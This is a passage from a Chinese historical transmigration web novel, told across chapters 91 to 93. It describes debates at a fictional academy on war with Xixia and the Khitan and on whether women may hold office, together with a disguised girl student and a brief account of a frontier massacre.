小孩子心思单纯,最容易直言直语,若华夏书院藏奸耍滑,只做表面功夫,明面一套,背地里又是另一套,那想必是极其难以隐藏住的。 他也很好奇。 这盛名之下的书院到底有何神奇之处,竟能引得这么多人趋之若鹜,百般拉拢?光看外表的话,也没什么大不了的啊?不就装潢、构造新奇一点嘛? 被问到的童庆安一脸疑惑,不解道。 “什么叫做表里不一啊?” “就是,有没有故意让你们在外人面前表现出一副样子,但平日里私下却截然相反的?” 童庆安与童淳认真思考了许久,摇了摇脑袋,道,“没有吧?书院内一直都是这样啊,并没有什么表里不一的时候。像是这种大型活动,其实也不是第一次了,去年蹴鞠赛也有举办过,而且我们每年期中期末考试结束,山长都会举办颁奖大会,那场面也很隆重啊!若说有什么不同的……一般这个时候,山长都会特意叮嘱继本叔加强巡逻,怕人贩子上山把我们拐跑了,这算吗?还有就是之前参加活动的,都是二年级的师兄,今年他们要忙着乡试和明年的进士考试,没空陪我们玩,所以只能一年级的学生们参加了,不过等他们考完了,应该就有时间了。” 童言童语,听得两个大儒忍不住脸上带笑。 他们不忍心提醒,其实一个士子在书院读书的时候,恰恰是他人生中最轻松的时刻,等真的考中了,才是为了生计、责任而忙碌的岁月。 想起前些日子朝堂上所争论的句读、拼音之类,旁边的刘老忍不住询问道。 “听闻,你们书院的山长发明了一种帮助蒙童更加快速理解记忆的东西,名为拼音、句读,你们有跟着学习吗?感觉如何?” 童淳立马回道,“那当然感觉很好了!我以前读书,总是记性差,不如庆安,好多字记了忘,忘了又记,总是说错,是山长教给我可以用拼音帮忙记忆,然后我才快速记住的!现在背书时,速度都快能够赶上庆安了……” “可这种,不会让人觉得是在投机取巧吗?外面有不少大臣已经骂你们山长是不敬先贤,犯上作乱了。” 虽不懂犯上作乱、投机取巧是什么意思,但本能的觉得这两个词不算是什么好的说法。 童庆安防备的护在童淳身前,辩驳道。 “怎么会?人本身就有很多种类型啊,有的记得快,有的记得慢,山长说过,有一类学生本身就是记拼音要比记字形更厉害的!都是找方法让自己记得更牢固一些罢了,那只能算是勤奋,怎么能说是投机取巧呢?况且,句读和拼音只是辅助我们更快速的理解文章和句式,又没有更改什么其他的内容,学与不学,全凭自愿就是,又哪里有不敬先贤之举?” 小孩子虽单纯,可说话却极其富有逻辑,假以时日,想必又 是一个辩论好手。 吴老、刘老两人听得心中怜爱,原本所固守的思想也随之倾斜。 是啊,又没有强迫其他人学习,更没有更改什么先贤内容,这算什么大不敬呢? “那你觉得句读好用吗?”两人采访道。 “好用。” “为什么?难道不怕解读错了圣贤书?” 童淳和童庆安不懂得这两个大儒为什么这么多问题,他们挠了挠脑袋,干脆用山长以前讲的一个句读争论小故事,作为举例。 “原本我们也没有觉得麻烦,笼统读下来,其实很多文章只需要一口气背诵完毕即可,卷子上又不考究哪里停顿,可山长给我们讲了一个故事,我们才发现,一个句子断在不同的地方,歧义是很大的。有句读,反而是更加方便我们理解原意……” 然后,童庆安便给两位大儒讲解了【下雨天留客天留我不留】的小故事。 这个故事,存在在很多现代的教科书里,可真正发生的时间却是在明朝,两位大儒头一次听到如此新鲜的解读,非常意外。 越品,却越觉得有禅意。 光是几个字的罗列,竟然就能有如此多的解读,甚至想法不同,得到的答案竟能够完全相反。 妙,实在是妙。 “你们山长还说了什么?” “我们山长还说……这社会是一直在变化的,只抱着过去的观念举步不前,才是错误的想法,真正的主角都是在不断成长和改进的过程中,只有反派才会原地不动……” “我们山长说,人要有不断学习新事物的勇气,只有敢于做第一个吃螃蟹的人,才能够享受得到美味……” “我们山长还说……” 一路上,两个小孩子像是打开了话匣子,一提到童启童山长,便说的喋喋不休起来。 两个大儒对视一眼,纷纷感觉到了好笑。 别的不敢说,这一趟旅程下来,童启童山长的威望到底有多高,他俩算是完完全全体会到了! 别管谁,只要提到童启,这一股子狂热的劲头,其推崇与敬仰,简直如同宗教一般。 “古有两小儿辩日,今有华夏书院两小儿为我等解读句读之存在必需性,看来,我等确实是老了啊。” 刘老由衷的感叹道。 颇觉一股江山代有人才出,长江后浪推前浪之感。 两个小孩子迷茫的挠了挠脑袋,一副听不懂到底在讲什么的样子。 午休时间结束,大家吃饱喝足,养精蓄锐。 这个时候,第二场辩论也即将开启了。 折家老小并身站在后排处围观着此场辩论,小声的谈论着。 “爷爷,您觉得华夏书院的童山长,对于西夏到底是何种态度啊?是偏向,还是提防?” 他怎么看不太懂呢? 说偏向吧?对方一箭射死人家的小王子在前,且还极力要求圣上防备西夏;可说提防吧?他又刚收下了西夏小王子作为弟子,与其他学生一起教学,毫不设防,这到底是什么情况? 真是令人摸不着头脑。 如今,还敢让李元昊亲自辩论自己的国家狼子野心,到底怎么想的,难道就不怕两国产生矛盾吗?即便西夏有这样的想法,如此情景,这么多人看着,也不可能明晃晃的承认吧? 他琢磨不透童启暗地里的意思,而折家老爷子摸了摸自己发白的胡须,也不由陷入了沉思中。 “童山长此举必有其含义,我们不懂,乃是我们没有其超前的视野,静观其变就是。如今唯一能确定的,就是童启不会做出任何伤害大奉朝的事情,既如此,又何必事事去追寻其背后到底何意呢?” 也是。 折继世耸耸肩,不再执着。 两个人抬头看向台上。 三声木槌敲响,第二场辩论赛的帷幕缓缓拉开。 上午的辩题被擦掉,换做了【西夏与契丹是战是和,若一味退让是否有养虎为患之危?】。 整个会场内,氛围陡然变得严肃起来。 许是与边疆战事有关,前排的世家和大儒们皆一脸沉重,眉头紧皱,半点不复上午一激动便立即起身的冲动模样。 这一次,乃是正方先开始发言。 对面的学生显然准备的不够充分,只匆匆说完一个论据,便颤颤巍巍,不住的往台下瞄。 也不知是被这氛围吓破了胆子,还是自己本身就气虚体弱,稍微喘了两口气,便忍不住脸色泛白,快要哭了一般。 童启不由扶额,暗暗瞄了一眼系统里的认证。 果然,即便他去掉这个学生,不录取,那五个特殊人才后面显示的数字也没有任何掉落的征兆。 对方的确不是系统所要求的特殊人才。 李元昊不过才学前班,是五位辩手里面学龄最短的,他仍不敢辩,若换做是其他一年级的学生,只怕会更难。 一众人听着对方颠三倒四的论断过后,等待着李元昊的上场。 虎头虎脑的小豆丁,甫一进入,便吸引了大部分人的目光。 若论长相,李元昊完完全全就是妇人最喜欢的那种男孩子模样,开朗壮硕,干净可爱,尤其与柳三变并肩而立时,更显得元气十足,十分的好养活。可如今整场内无一人欣赏,皆是提防的眼神,如同防贼一般。 他也没有任何讨好掩饰的意思,登台第一句,便是: “我若当上西夏王,必会进攻大奉朝!” 一句话,瞬间引起场内所有人哗然。 折家小子折继世,更是当场站起身,摸向了腰间的匕首,被折家老爷子一把按了下去。 其余的百姓与世家们也皆是一脸的惊恐,似乎难以忍受般,死死握紧了拳头。 比起那些冠冕堂皇的客套话,潘阆先生给李元昊的提议是,大不必按照寻常之乎者也、引经据典的套路来。因为,那并不符合他目前的学识,即便死记硬背,也并不会显得有多博学,只会有种小孩子假装穿大人衣服的不适感。 要想赢,只得另辟蹊径。 要么直接说真话,要么,一上来,就先声夺人。 哪怕唐突,却能撼动人心。 于是李元昊学以致用, 一开口,便把自己带入进了西夏未来领导人的身份,去讲解这个辩题。 当然,他这个身份说服力也极强,因为目前的西夏继承人还就真的只有李元昊这么一个,等这一个西夏王下台,大概率不出意外,就是李元昊登基。所以当他以领导人的视角一点点剖析出其目的愿景之后,很多人都受到了极其强烈的冲击与不适。 “为什么这么说?其根本在于西夏的地理位置。诸位应该很少在西夏待过吧?我从小就在那里长大的,缺水少粮,就连牛马都不喜欢待,但凡碰上什么沙尘漫天飞舞,营帐转眼之间就能被淹没下去!我们那里种不了粮食,就算种下了,精心照顾,收成也远远不如你们中原之地。与其耽误大半年的时间,付出无数的人力、物力,去搞什么种地,为什么不干脆抢你们的呢?” “相对比起来,既没有什么太大的风险,又没有什么难以承受的后果。一年里,我甚至可以带着人干个上百次,所得到的,却远比吭哧吭哧种地或者农贸交易,要划算多了!而且老实说,你们的边防,非常弱,极易入侵。大家看一下,这是我们的西夏,这便是你们大奉朝的环县和镇原县……” 李元昊拿起粉笔,如同讲课一般,在黑板上粗粗的画了个地理位置,以表示意。 “这两个地方按理说都是军事重镇,离我们西夏是最近的,可是偏偏布兵却极少,柏大将军以前在这里守着也就罢了,被调走后,环县干脆空了下来,只剩几个巡检司的人在里面巡逻,根本不敢拦的,我若是率领一千骑兵,从环县闯入进来,顺着镇原县等地便可以直捣彭阳、开边,你们北方的城镇立马便会沦丧大半在我手中,即便后期带着人抢回来了,可我已经把城里的所有粮食、东西全部抢走了,于我们来说,是一本万利的买卖,可于你们来说,却是伤亡惨重……” “所以,我为什么不做?我也有我的子民需要养活,干一次,便可以吃一整年,多值啊!就算你们后期大军压境,那也无妨,大不了,我后退一步,和契丹合作,就说是帮助他们建国,契丹的骑兵训练可远比我们西夏更加厉害,只要给足他们马匹和草料,我们便可以双路出兵,直接把大半个北方给占据下来,那么,你们的都城便失守了,只能往南搬迁。我们可以一步步逼得你们南移,到时候再一点点侵吞……” 李元昊残忍的剖析着,就如同在详细讲解如何杀掉一整只猪似的,听得台下众人惶恐不安,怒不可遏。 可这却并未结束,因为他的论据还未回归正题,他顿了顿,努力把畅想拉回正道上来。 “当然,这只是我个人的意见,我这么说,意思就是指若我西夏想做的话,完全可以做到,只要假以时日,攒够了人和粮食,战斗力强大起来,便可以顺势攻下整个北方,并不为奇。但我父王是一直不想跟大奉朝打的,我如今在书院读书,肯定也不想打,但若是换做利益至上的西夏王,你们养虎为患,是肯定的,毋庸置疑!” …… 进入自由辩论的环节,对面的正方辩手似乎还想要支棱一下,干脆破罐子破摔道。 “那你认为你如今在华夏书院读书,也是养虎为患吗?若像你所说,干脆提前杀掉你不是更好?” 李元昊认真的想了想,“可以是可以,但这不是个好办法。因为我能来华夏书院,本身就是受到了童山长的拉拢,不管呆了多久,总归有这么一层师生的情谊在,我未来肯定是不会对华夏书院用兵的,所以你们河南府已经能够保证安全了。留下我,远比杀了我更有价值,即便你们杀了我,失去的,也不过是一个亲近大奉朝的未来西夏王罢了,我爹爹还有其他的兄弟,我皇叔也有很多很多的儿子,可以继续代替西夏存在下去。且因为我在大奉朝受了伤,他们未来肯定不会再相信你们的任何承诺与保证,下起手来也会更加狠厉残忍,这是肯定的。” 每一句话,都是李元昊基于自己的位置真心诚意的分析出的。 他可能是一个天生的帝王,领头人,所以这些话说出来,自带一种冷静的天真残酷。 毫无隐藏。 可也正是因为毫无隐藏,也让在场所有人的心中如同压了一块大石一般,透不过气来。 他们无可辩驳,也无从选择。 这种绝望的清醒,令人感到无能为力。 “好,以上便是两位学生针对于此辩题而产生的一些个人想法,皆是一家之言,还请大家勿要当真。下面,请所有的观众开始进行投票。” 童启适时地打断道,瞬间干扰了这绝望紧绷的氛围。 就如同鲁迅先生所说,若把大奉朝比作一间铁屋子,屋外已经着了火,大家都在熟睡之中,他是叫醒所有人跟着一起陷入绝望好呢?还是干脆默不作声,不去惊醒做梦的人比较好?是清醒的沦丧还是麻木的死亡?他能做到的,是和先辈们一同的选择,以历史为借鉴,试图去叫醒更多的人,做好防范。 尽管这真相痛彻心扉,令人难以接受。 可伤疤迟早要揭开,才能有痊愈的可能。 凭借着李元昊的超常发挥,毋庸置疑的,此场辩论,李元昊获得胜利。 他骄傲得意的抱着身前的透明箱子,如同打了胜仗一般跟童启低声炫耀着。 “怎么样,山长,我厉害吧?突然发现,有时候我也挺适合辩论的。” 童启笑着摸了摸他的脑袋。 心里吐槽。 嗯,是挺适合,就是有点费自己人,下次别辩了,不然我怕你父亲那边知道了之后,可能会气死。 这一剂猛药,远比童启所想象的还要剧烈。 观众们听完两场辩论赛后,下山时,就连走路几乎都是飘得,回到家后,满脑子更是被李元昊那一番大胆的论断所占据,越想越慌,越想越怕,对西夏和契丹的防备也不由的拉高了许多。 第一天,以华夏书院学子们的全面胜利作为结束,一年级、学前班的学生们各个欢欣不已,即便没有参赛的,也纷纷在用各自的方式,庆祝着同窗们的成功。 隔壁医科的王小花等人听闻后,也忍不住和虎妞她们在宿舍楼里庆祝了一番,而客栈外的冯宴春等人则气氛一片低迷。 “完了,他们不愧是华夏书院的人,实在是太厉害了,而且他们很会调动情绪,不与百姓讲那么多,只说事实,我们得换一种说法,不能再那么被动下去了。” “对啊,而且事实不在于到底能不能辩论赢,我感觉童山长更多的是看中我们有没有发挥的好,今天下午同样是两场输了的比赛,可第一场只差一点点的陆无双却被替补进了华夏书院,第二场明显不行的顾兄则被唰下了,并没有收到童山长的邀请,我们不求赢,但求拼尽全力,发挥好,照样有一搏之力。” “是这样,大家不要泄气,还有一晚上的时间,一起再顺一遍自己的稿子,力求能够背下来最好,我看华夏书院他们的学生皆是不按照稿子讲的,说话时,也和台下的观众们有着各种交流和互动,咱们也学着试一试,没准会更好一些。” “是极是极。” 第92章 第92章辩论赛(下) 三位剩下的挑战者战战兢兢,熬夜在客栈内商量着明日的比赛,默默复盘。 而第一日辩论的发言,也随着报纸的发行,遍布在了大奉朝各个角落。 尤其以李元昊的言论,最为轰动。 西夏王李德明收到消息,怒不可遏。 “这个该死的童启!定是他,故意设套给我儿钻!竟然唆使我儿在这么多人面前,说出这样的话,简直枉为人师!分明是不怀好意!老奸巨猾!诡计多端!卑鄙!无耻!!” 他气急败坏,连骂了童启数十日,内心笃定了一切皆是童启的诓骗,可暗地里却又忍不住发酸,疑惑自己儿子的智商问题。 如此赤裸裸、明晃晃的套路,他也能钻进去,这看起来,就不像是个聪明的人啊?未来西夏真的要交给这小子吗?还不如自己跟夫人再想办法多生一个好了。 听听,什么叫做“凭借着师门情谊,肯定不会对河南府动手”,瞧瞧,什么叫做“我父皇还有兄弟,皇叔还有很多儿子?” 这些话,能跟外人就这么说出去吗? 他满心愤怒,却无计可施。 西夏与河南府相隔千里 ,鞭长未及,而童启也只是嘴上答应了会保障他儿子的安全问题,至于辩论赛之类的,可从未说过不准李元昊参加,因此即便他写信去抗议,恐怕也得不到什么满意的回答,且时间上,也早迟了八百年了。 但愿大奉朝没什么人因此暴言而想办法刺杀他儿子吧。 李德明内心忐忑着,为自己独在异乡的儿子而感到惶惶不安。 大奉朝内,同样看到这通“暴言”的内阁大臣与皇帝们却内心淡定的很。 不必李元昊自言,他们也深知西夏的狼子野心,这早就是上一次外交使团出使西夏时,便验明了的事,托华夏书院童启的福,对方三番四次的大力宣传,如今整个大奉朝的百姓们,基本上皆认定了他们未来与西夏必有一战。 至于这战到底什么时候打,却像是一把悬然而未落下来的刀,令人隐隐不安。 胡丞相等人暗地里也在悄然的布局,欲调动兵马前往环县驻扎防御,可一件事的突然发生,却打破了他们原本安定的局面。 话说皇宫一场大火,烧死了四皇子妃,也烧死了四皇子妃腹中的胎儿,被禁锢的四皇子悲伤之下暴走,抢了马后,一路北上,投奔了契丹,也不知用了什么方法,竟然说动了如今的契丹首领之母,萧绰,带了一路骑兵,竟南下回来,直奔黄龙府,将整个农安县给血洗了! 寂静的夜晚,黄龙府外的岗哨上,一位哨兵望着远方草丛内的动静,敏感的出声喊道。 “谁在那里?滚出来!不然我就开弓了?” 不等他动静,迎面一只箭横空而来,将他整个射倒下去。 直到死,他也不敢相信,杀死自己的,竟然会是大奉朝曾经的皇子。 浓烈的火把几乎连成片,快要点燃整个天空,契丹人骑着马攻入城内,见人杀人,见物抢物,不到两三个时辰,整个农安县,全部屠尽,没有留下任何一个活口! 因着驻军偏远,时间又紧急,几乎无人知晓农安县换了人,直到半月后有人走亲戚未回,报到县衙里,才发现了契丹攻城的事。 火急火燎上报给朝廷后,已是半月,等皇帝大怒,令人封锁消息,不准任何人说出去此“皇家丑闻”的事情,又隐瞒了三四个月之久。 等最后敲定柏弓良去解决此事,通知到位,四皇子已经基本上带人在黄龙府落下了脚。 柏大将军:…… 就无语。 所幸的是,那段时间一切新闻皆被华夏书院的辩论赛风头所抢去,所以竟也无人质疑。 苍蝇被童启派去给柏大将军送战略图,误打误撞得知了此事,因此也不得不被一同留下,跟着前往了北方,因着其身姿矫健,且灵敏轻盈,擅于偷东西,倒是适合做前线探子,于是便顺理成章,被柏大将军收在了身边,做侦察兵的工作。 “此间事,我可以跟山长偷偷讲吗?”苍蝇暗里询问柏弓良。 对方头也未抬的看着地形图,道。 “你若想让他死,就尽管说。” 没看直到现在,皇帝还一门心思认为这乃是家事吗?连黄龙府都沦陷了,仍旧密而不发,简直……愚不可及。 柏弓良发愁的看着黄龙府的地形图,心里忍不住犯愁。 不愧是曾经想要造反起兵的四皇子,一攻,就攻击了最要紧的地方。 这黄龙府位置特殊,基本上控制着南北两地的交通要道,不仅挨着女真,契丹,还是大奉朝北方最重要的防御地,若这个地方失守,契丹完全可以顺着官道南下京都,直接攻入皇城!控制皇帝本人! 因此农安县必须抢回来!也不得不抢回来! 不然的话,皇城就如同直接睡在了敌人的家门口一般离谱! 可关键是怎么夺呢? 农安县易守难攻,又有着对大奉朝十分了解的四皇子亲自坐阵,怎么看都是一个苦差事,一开始,他还想着以和谈为主,毕竟都是“自己人”,左不过父子没有隔夜仇才对,可偏偏皇帝却像是害怕什么一般,连连催促,逼着他们在事情恶化之前,及时抢回农安县县城,不然的话,便算作延误战机的罪过。 甚至,还因此派了一个太监来,看守柏大将军与四皇子之间的战争。 不准他们交谈,只令他们速速攻打。 柏大将军:…… 可你想打,便是那么好打的吗?人家四皇子也不傻的啊,柏大将军的神勇,他在朝廷内的时候,就领教过了,何必上赶着找虐? 反正城门一关,你也攻不进来,无论怎么叫门,我不理会就是,你能如何? 就这么连攻了十几次,都没有攻下农安县,整个前线瞬间陷入一片僵局之中,无计可施。 不过这已经是几个月后的事情了,暂且不提。 让我们仍旧回到河南府的辩论赛上。 第二日,头一场辩论,便是冯晏春与王世昌的对垒。 题目是【都说女子贵重,世人崇尚厚嫁之风,且允许女子承袭世家爵位,那么可否准其如男子一样入朝为官呢?】 因涉及女子之事,且在大多数人眼里都属于没什么可争议的话题,所以一大早来听闻这场辩论赛的人比起昨日来,少了许多。 就连几位大儒也是一副兴致寥寥的样子,似乎觉得胜负已分,不足为奇。 赌坊内也是如此想的,因此几乎大半的人都将胜者压在了反方王世昌的身上。 可其当事人本人呢? 王世昌站在选手等候区内,不住的用眼光去看着山长的脸色,试图从其表情中解读出一二用意来,她怀疑山长是否已经知晓了什么,所以才故意借着此辩论赛的题目,来暗示自己。 可又觉得或许只是自己多想,山长其实并无这个意思,只是她杯弓蛇影,自己在吓自己罢了。 毕竟她伪装的如此好,就连蹴鞠赛都赢了,平日书院里更是与其他的男孩子并无区别,若山长知晓的话,怎么可能还容忍她继续呆在书院里呢? 即便爱才,也定然会让她去隔壁医科,和王小花等人一起学医才是吧? 就如同那高高立起来的围墙,区分开了华夏书院的科举班与医科班,也区分开了男子与女子。 可王世昌不甘心。 她就喜欢四书五经,她就想要像男孩子一样读书科举,她喜欢书院内的师生氛围,更爱极了光明正大与人交际做朋友的生活!哪怕是用弟弟的身份也可以! 她想要当官,想要往上走,想要突破这河南府,见识更多的美好风景,即便千难万阻,可她仍旧想要试一试。 总得有第一个人这样头破血流的闯一闯吧? 不试试,怎么能知道不行呢? 她几乎做梦都想要代替弟弟去活着,可周围的环境却不止一次在反复提醒她,美梦终会清醒,她始终做不成真正的王世昌。 她是王世贞。 也许……弟弟说的对,从一开始,她就不应该有那个想法,来华夏书院读书,若她从始至终都没有见过“自由”的话,说不定也可以去忍受嫁人的命运,宁愿一辈子被困在绣楼之上,深宅大院之中,沉默的度过一生。 可她见过了,听过了,感受过了,如今再将一切剥夺走的话,那无异于是逼她去死。 我不能退。 她默默在心里说道。 起码,现在不能。 她一点点握紧了手中的稿件,缓缓走上演讲台。 冷静的双眸注视着场下所有的观众们,深呼吸了一口气,正式开始了自己的演讲。 “我认为,女子不可入朝为官。” 她认真讲道。 “《礼记》有云,男主外,女主内。君为臣纲,父为子纲,夫为妻纲,其儒家基本伦理、社会秩序矣。女子应以温良恭俭让为本,而非追求权力与地位。若女子入朝为官,那必然会导致家庭失序,子女无人教养,最终影响社会稳定。且女子天性阴柔,缺乏处理朝中大事的能力与经验,恐难以胜任寻常事务,历史上女子参政乱政的例子太多,吕后专权导致汉朝内乱,武则 天称帝,引发朝野动荡,这皆是血淋淋的证明……” “况且当今实行厚嫁,皆言女子贵重,可实际上却恰恰是在物化女子,女子无权的象征。若真的女子贵重,便不必搭上那么多银两去嫁人,逼迫的不少难以付出嫁妆的寻常人家不得不选择溺亡,或抛弃女婴,去适应这种风气。世家女子袭爵,也是极其少见的事情,即便拿到爵位,可却依旧要依附父族或丈夫的家庭来生存,这样的女性地位,连自己都难以支撑,即便真的走上官场,又有谁会信服呢?” …… 每一句话,几乎都带着血腥,像是踩在了刀尖上,横冲着自己的心口划来。 这便是她为什么不能恢复女性性别的真正原因。 王世贞一字一句的说着,近乎凌虐。 可下方的观众们却听的毫不在意,仿佛老调重弹一般。倒是有极个别的男性有些不适应王世贞尖锐的举例,对北方溺亡女婴其真正原因到底是否是因为厚嫁之风而感到存疑。 但大差不差的,还是认可王世贞所说的并无错误。 在十五分钟的发言结束后,场面上换成了正方的冯晏春。 他聪慧的没有立即发表自己的观点,而是就着王世贞方才的说法,进一步反驳道。 “正如同方才反方所说,厚嫁之风,不代表女子高贵,相反,反而证明了女子的身份低微。可其地位低微的真正原因是什么呢?不正是朝廷内没有女性吗?若是女子也可以入朝为官,不说拉平男女之间的地位阶级,但好歹也会因为有女性掌权者,而拥有一部分女性独特的思考角度,不是吗?” “提起历史上那些女性掌权者,也不皆是坏事吧?起码吕后在时,四海升平,于百姓而言,海晏河清;武皇在世时,更是女性地位最高的时候,那个时候女子不仅穿衣自由,可以上街,可以独自逛夜市,不遵守宵禁,还可以活跃在诗坛、文学等各个领域!且成就不亚于男子!甚至公主还可以自选驸马,支持和离再嫁……为什么如今的女性地位不及从前,其根本不就在于朝中无人吗?” 温柔刀,刀刀致命。 但足够敢讲。 因着今上不喜武皇,所以大部分文人提起武则天都是直接避让,或者以名字称呼,很少有尊其为皇帝的。 可冯晏春一上来便直接以皇帝称之,承认其合法性,这已经算是男人堆里非常不要“仕途”的一位了。 不少观众们闻言微微坐直了一些身体,本以为枯燥的一场辩论赛,竟然渐渐起了硝烟,其程度毫不逊色于昨日所争论的,倒是吸引了他们的不少兴趣。 “况且,即便女子袭爵,要依附一定的丈夫或者父亲的力量,可只要有那个爵位,便能够保证一定的自给自足,在族内地位也不会太低,这已经远胜于毫无资产撑腰的女性了!那些溺亡女婴的家庭,不正是因为投资女性没有出路,见不到回报,所以才选择抛弃吗?可若女性也可以当官,那就如同男子一样有了除嫁人之外的第二种出路,只要能看到一丝希望,生男生女都一样,那百姓们还会避女婴而不及吗?” 冯宴春越讲越激动。 他出身普通寒门,家里不算特别有钱,但也不算特别差,上头三个姐姐,皆早就嫁了出去。 大姐嫁给了屠夫,深受家暴之苦,苦不堪言,若不是他早早的发现,只怕就被活生生打死了。二姐嫁给了读书人,可对方考中举人后,便直接嫌弃她无法助力官途,索性休妻再娶。三姐倒是刚新婚,嫁给的也是隔壁青梅竹马的邻居,可对方婚前那般指天赌地说只喜欢三姐一个,还不是在三姐刚怀孕,便立马纳了小妾? 他也是男人,深谙男人的劣根性,犹记得小时候读书,他费尽心血却记不下一整篇文章,三位姐姐没有刻意去学,却个个比他记得还要快,还要牢。 就因为是女孩子,家里人掏不起学费,觉得学了也无用,便将她们匆匆嫁了出去,可得到的下场呢,却一个比一个惨,若是她们也可以像自己一样科举当官的话,那想必怎么也会比他如今的成就要高吧? 就自己这水平,都能拿下秀才,更遑论聪明的姐姐们呢? 这是他一直感到遗憾,又内疚于姐姐们的症结之处。 而之所以执着于华夏书院,也并非华夏书院有多么高的社会地位,而是其隔壁的医科学院并不轻易招生,他想要提前了解一下,为自己的二姐、大姐图谋更多的可能。 因此这场辩论赛,他句句出自真心,说出的话自然也比其他人要更加有力一些。 “自古以来,女子被载入史书的不比男子要少,可正因为男子掌握了话语权,编撰历史,书写历史,因此偏向的自然以男性自己的群体为主。为了控制女性,我听闻有一些老式的世家贵族,甚至让女子们常年住在阁楼上,永远不许下来,美其名曰文静!还在女性年幼时便将小脚裹住,令她们残疾,不便走动,说是可以令足弓更加美丽,便于欣赏……这简直丧尽天良!与禽兽何异?” 底下不少世家尴尬的清了清嗓子,眼神闪躲。 “而若女子也可以当官,便能够主动去争取自己的利益,否定这种事的存在!我认为,男女皆是人,许多需求都是一致的,不存在什么必须由女性去教养后代,只要追求权力,便是错误的说法。论体力,女性也有很多种田好手,劳役时,男子受伤,她们经常代替家里的汉子前去服役,就连河南府的琉璃坊,也有不少女工存在;论聪明才华与管理能力,历史上也有不少不输于男性的,起码,吕后肯定比刘盈要适合执掌朝政,武皇定然比李隆基要更适合管理天下,这是公认的事情!女性情绪稳定,很少因为被激怒而做出冲动的事情,更不会因为个人仇恨,牺牲国家的利益。” “别提什么牝鸡司晨,阴阳之论,男子本就是女子所生,没有女子,哪里来的男子的存在,又何谓牝鸡司晨之举呢?” 冯宴春步步紧逼,话音一落,观众席上已经有不少妇人带着头鼓起掌来,引得旁边许多男子尴尬避让。 童启欣赏的看着冯宴春,只觉得淘到宝了。 他是源于天生就生长在男女平等的时代里,所以思想适应,可冯宴春却是土生土长的古代人,竟然会有如此超前的思维与想法,说实话,他很震惊。 每个人都习惯于在自己所处的位置与环境中思考问题,不自觉也会因为自己的利益而优先考虑。 这乃是人的本能。 在大奉朝呆了几年,这种男子为上的氛围,偶尔就连童启都会不自觉沉迷进去,不经意间,便带了一种男本位的思考方式来。 若不是还有着一层老师的身份,只怕他也早就投降于这种处处皆为了男子的氛围中了。 可冯宴春却能跳脱出来去思考,实在是难能可贵。 王世昌被说的节节败退,也许正是因为她内心所思所想和冯宴春一致,所以此辩论自己便先不认可了,想要说出来,超常发挥,那更是艰难。 但她也没有任何后退的意思。 只是不断的想起那些人曾经说过的话,原样的抛了出来。 “你说女子去当官,可若女子都去当官了,谁来生孩子?谁来照顾孩子?这天下的生育率变低了怎么办?难道不算是一种自私吗?” “这算什么自私?难道牺牲是大无畏,就必须每个人都上战场等待着抹脖子吗?无意义的牺牲不算是勇敢,而为了自己,为了其他人,选择更好更匹配的生活,去实现自己的梦想,怎么不算是另一种意义上的勇气呢?况且女子又不是生来就适合当母亲,有愿意生育的,也有不愿意生育的。照顾孩子,男性也可以分担,那么多仆人下人也可以帮忙,真正的生育率提高,靠的是女性地位的整体提高,而不是一味的打压,将她们困在后宅里去一个接一个的生孩子……” “但圣贤书有云,男女八岁不同席,就连童山长都将医科分为了男女。那堵墙,便是证明。若女子当官,岂不是与男子混为一谈,身处同一个朝堂之上?又如何去区分?假使发生了丑事,又该如何解答呢” “王兄又陷入执迷了,为什么圣贤书云男女八岁不同席,那是为了防止女性受到侵害,可朝堂上是什么地方?那是整个国家办事的场所,再没有比那更严肃的地方了,怎么可能会发生丑事,你让公卿们的面子又要往哪里放呢?况且,为什么要把女性先天放入弱势的视角?古代妇好将军可是能够勇冠三军,带领整个国家作战的,也从没有人会谈论她的私事啊,这种论断,本身就是一种不尊重才对!” 第93章 第93章进京赶考 冯宴春一句一驳,到最后,仿佛为王世昌拨干净了眼前所有笼罩的迷雾,令她原本飘散动摇的心,也愈加稳固 了下来。 所有人都以为王世昌会赢,可没想到因着冯宴春的超长发挥,爆了个冷门,最后胜利的,竟然会是反方? 投票的结果一出来,大多数人都感到惊讶不已,尤其是在场的男性们,更是目瞪口呆。 童启倒是并不意外,因为他投票也是投给的冯晏春,这小子,有点东西,他华夏书院收了! 可其他大儒和记者们却完完全全不敢相信这个结局。 他们将这场辩论赛的内容发往京都,果然,大部分的文人与儒生们也无法接受,谁也没想到,最后辩论完,五场辩论赛辩题中,竟然会是这个的讨论度最高,就连前面两场硝烟如此浓烈的,话题性都被活生生压了下去。 后面两道便更是无人在意了。 一连半月,基本上报纸上都在讨论这个议题。 赌坊内骂声一片,全是谩骂王世昌无用的人。 报纸上同样也是骂声一片,可骂的却全是冯晏春枉为男人,竟然为女子裙摆小脚说话的,甚至还有人嘲笑他一个大男人每天只盯着女子的脚看,是不是变态之类,或者有什么独特的癖好,不然怎么谁都没有注意的事情,偏偏他却如此关注? 大多数人都认为他乃是太想要进入华夏书院,所以丢了男人的风骨,也有那故意想把事情闹大,毁了他名声的,则干脆造谣其面容白净清秀,是否就是个女孩子,进而上升到攻击他本身就是个太监、娘娘腔之类的维度上去。 搞得冯晏春哭笑不得。 又不能干脆脱了衣服给他们验看,只能当作视而不见。 而王世贞也终于后知后觉,知晓了童山长为什么让她站反方的真正原因。 若她此次是正方,倒的确可以顺心去说一些一直以来想说的话,可却只会因此而被怀疑的更盛,但恰恰因为这次站在了反方上,反而洗刷了一部分的疑心,不仅得到了大多数男人的票数,更让不少人对于他男子的身份深信不疑,就连很少联系的亲戚们都开始安慰起她来,表示一时辩不好没关系,下次再努力即可,等话语。 她这才彻底明白过来,山长隐隐的保护之意。 他是理解我的,支持我的。 即便知晓真相,也没有揭穿的意思,而是用这种方式,提醒我,让我自己做出选择,战,或不战! 想明白这一点后,王世贞如注入了一道强心剂般,彻底安心。 而因着这场胜利,冯晏春自然也被顺理成章的留了下来,成功进入一年级,与王世昌成为了同窗。 一开始,大家还害怕两人会有敌对的情绪,纷纷对冯晏春敬而远之,可后来发现王世昌不仅不在乎,还主动帮忙破冰,这才终于松了一口气,逐渐接纳了对方。 四公主从报纸上得知这件事后,第一反应便是为王世昌叫屈,紧接着便是难以置信。 “这童山长到底是何意?为什么要把那冯晏春也招入书院里啊?还和我们王公子在一个年级!这下好了,每天看见他,都要想起那场辩论赛失利的事情,也太难受了吧?都怪童启,若不是他,我们王公子怎么可能输给一个刚初出茅庐的小子?哼,什么冯晏春,到底哪里冒出来的人,也敢恬不知耻,否认礼教?实在是荒唐至极!” 